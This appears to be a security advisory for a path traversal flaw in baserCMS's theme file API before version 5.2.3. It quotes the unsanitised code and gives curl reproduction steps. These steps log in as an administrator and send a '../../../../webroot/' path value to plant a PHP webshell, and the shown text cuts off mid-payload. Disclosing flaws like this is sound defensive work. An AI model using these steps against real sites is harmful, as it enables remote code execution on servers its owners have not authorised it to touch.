baserCMS is a website development framework. Prior to version 5.2.3, a path traversal vulnerability exists in the theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write. An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). This issue has been patched in version 5.2.3.

Affected: Packagist: baserproject/basercms

## Summary

A path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write.

An authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).

## Affected Code

**File**: `plugins/bc-theme-file/src/Service/BcThemeFileService.php`

```php public function getFullpath(string $theme, string $plugin, string $type, string $path) { // ... return $viewPath . $type . DS . $path; // $path is not sanitized } ```

## Attack Scenario

1. The attacker compromises an administrator account (password leak, brute force, etc.) 2. Obtains an access token via API login 3. Specifies `path: "../../../../webroot/"` in the theme file creation API 4. A PHP file is created in the webroot 5. The attacker accesses the created PHP file to achieve RCE

## Reproduction Steps

```bash # 1. Login curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \ -H "Content-Type: application/json" \ -d '{"email":"admin@example.com","password":"password"}'

# 2. Create webshell curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{ "theme": "BcThemeSample", "plugin": "", "type": "layout", "path": "../../../../web…